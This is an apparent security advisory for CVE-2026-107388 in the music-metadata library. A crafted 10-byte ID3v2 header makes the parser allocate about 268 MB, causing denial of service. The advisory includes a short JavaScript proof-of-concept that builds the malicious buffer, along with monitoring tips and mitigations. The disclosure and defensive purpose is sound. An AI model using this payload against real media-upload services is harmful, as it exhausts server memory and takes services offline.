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CVE-2026-107388 represents a critical design flaw in the music-metadata library where the ID3v2 parser blindly trusts the tag size header field.
When parsing files like MP3, FLAC, DSF, or Musepack, the software reads a syncsafe integer representing the total size of the metadata tag.
This size value can legally reach up to 268,435,455 bytes, or approximately 268 MB of data storage space.
Crucially, the parser allocates a buffer matching this requested size immediately before validating the stream or checking the file length.
An attacker can exploit this design by crafting a tiny 10-byte file containing a valid ID3v2 header with the maximum size flag set.
When the parser attempts to read the declared body, it immediately encounters an unexpected end-of-file condition.
The internal stream reader catches the resulting `EndOfStreamError` and handles it silently without throwing any errors to the caller.
As a result, the application receives a normal response object while a massive 268 MB memory buffer remains allocated in the background.
This creates an extreme memory amplification factor of 26.8 million times, turning 10 bytes of input into massive resource consumption.
Repeated concurrent uploads or automated scripts can quickly exhaust system memory, trigger out-of-memory process termination, and cause total service denial.
Fixing this vulnerability requires implementing strict validation checks to ensure that declared tag sizes never exceed remaining file bytes.
DailyCVE Form:
Platform: music-metadata
Version: <= 11.12.3
Vulnerability: Uncontrolled Memory Allocation
Severity: Medium
date: October 2026
Prediction: Patched version released
What Undercode Say
Analytics
To monitor and analyze memory allocations during file processing, administrators can run Node.js with garbage collection exposure and inspect heap metrics:
node --expose-gc script.js
Performance hooks can be integrated into telemetry pipelines to log external memory deltas exceeding thresholds:
import { performance } from 'perf_hooks';
const start = performance.now();
// execute parser
const duration = performance.now() - start;
Exploit: (Educational Purposes!)
The following proof-of-concept demonstrates how a truncated 10-byte file forces a 268 MB memory allocation without raising an error:
import { parseBuffer } from 'music-metadata';
const maliciousFile = Uint8Array.from([
0x49, 0x44, 0x33, // "ID3" identifier
0x04, 0x00, // Version 2.4.0
0x00, // Flags
0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes)
]);
try {
const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' });
console.log('✓ Parse succeeded without error');
} catch (error) {
console.error('✗ Unexpected error:', error.message);
}
Protection: from this CVE
Update the `music-metadata` package to versions containing the official patch that validates tag sizes against remaining stream lengths.
Implement strict input size verification and upper bounds checking on header length fields before buffer allocation.
Enforce resource quotas, memory limits, and request rate-limiting on backend file upload endpoints to mitigate denial-of-service risks.
Impact:
CWE-789: Memory Allocation with Excessive Size Value leading to Denial of Service.
Attack Vector: Network-based file uploads processed by music streaming platforms, podcast hosting services, and media servers.
Operational Risk: Server memory exhaustion, container OOM kills, worker process crashes, infrastructure cost inflation, and reduced service availability.
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Sources:
Reported By: github.com
Extra Source Hub:
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